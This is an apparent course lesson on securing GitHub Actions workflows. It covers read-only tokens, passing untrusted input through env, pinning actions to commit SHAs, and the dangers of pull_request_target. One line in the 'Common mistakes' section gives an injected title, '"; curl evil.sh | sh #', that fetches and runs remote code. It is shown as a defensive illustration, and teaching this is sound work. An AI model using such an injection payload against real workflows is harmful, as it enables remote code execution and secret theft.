GitHub Actions: CI/CD Workflows From First Run to Secure Deployments · Pipelines, Deployments and Security
Security Hardening: Permissions, Injection and Pinned Actions
Apply least-privilege permissions, avoid script injection, pin third-party actions, and handle pull requests from forks safely.
What you'll build
A hardened pull request workflow: read-only token, a safe way to use untrusted input, a pinned third-party action, and a separate job that gets write access only where needed.
The idea
Workflows run code with access to your repository and secrets, so they are a real attack surface.
- Least-privilege
permissions. Setpermissions: contents: readat the top and raise it per job. Listing any scope sets all unlisted ones tonone. - Script injection. Issue titles, branch names and pull request titles are controlled by outsiders. Never interpolate
${{ github.event.pull_request.title }}into arunscript; pass it viaenv:so the shell treats it as data. - Pin third-party actions to a full commit SHA (a tag can be moved). Let Dependabot update them.
- Fork pull requests.
pull_requestfrom a fork runs without secrets.pull_request_targetruns with secrets in the base repository's context, so never check out and run the pull request's code in it. - Scope credentials with environments and OIDC, and lint workflows with
actionlintor a scanner likezizmor.
The code
name: PR checks
on: pull_request
permissions:
contents: read
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Print the title safely
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title is $TITLE"
- run: npm ci && npm test
label:
needs: check
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Add a label
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
GH_REPO: ${{ github.repository }}
PR: ${{ github.event.pull_request.number }}
run: gh pr edit "$PR" --add-label "checked"
Output
actionlint: no problems found workflow: PR checks triggers: pull_request jobs, in the order they run: check: runs on ubuntu-latest | 3 step(s) label: runs on ubuntu-latest | 1 step(s) | after check
Run this on your computer — see “Get Started” for setup.
Common mistakes
run: echo "${{ github.event.issue.title }}". A title like"; curl evil.sh | sh #runs as shell code. Useenv:.- Trusting tags on third-party actions. A compromised maintainer can move
v4to malicious code; use SHAs for anything you don't control. - Running fork code under
pull_request_target. That gives untrusted code your secrets and a write token. - Leaving default write permissions. Switch the repository default to read-only (Settings → Actions → General).
Key points
- Default to read-only
permissionsand widen per job. - Untrusted input goes through
env:, never directly into scripts. - Pin third-party actions to commit SHAs; use environments and OIDC for credentials.
- Be extremely careful with
pull_request_target. Further reading: GitHub Docs.
Practice questions
How can an issue title lead to code execution in a workflow, and how do you prevent it?
Answer
If the title is interpolated with ${{ }} into a run script, shell metacharacters in it become part of the script. Pass it through an env variable instead, so the shell receives it as data.
Why is pull_request_target dangerous when combined with checking out the pull request's code?
Answer
pull_request_target runs with the base repository's secrets and a write token. Checking out and running the fork's code there lets an attacker's code use those secrets.
Open in the app to mark lessons complete, take notes and track your progress.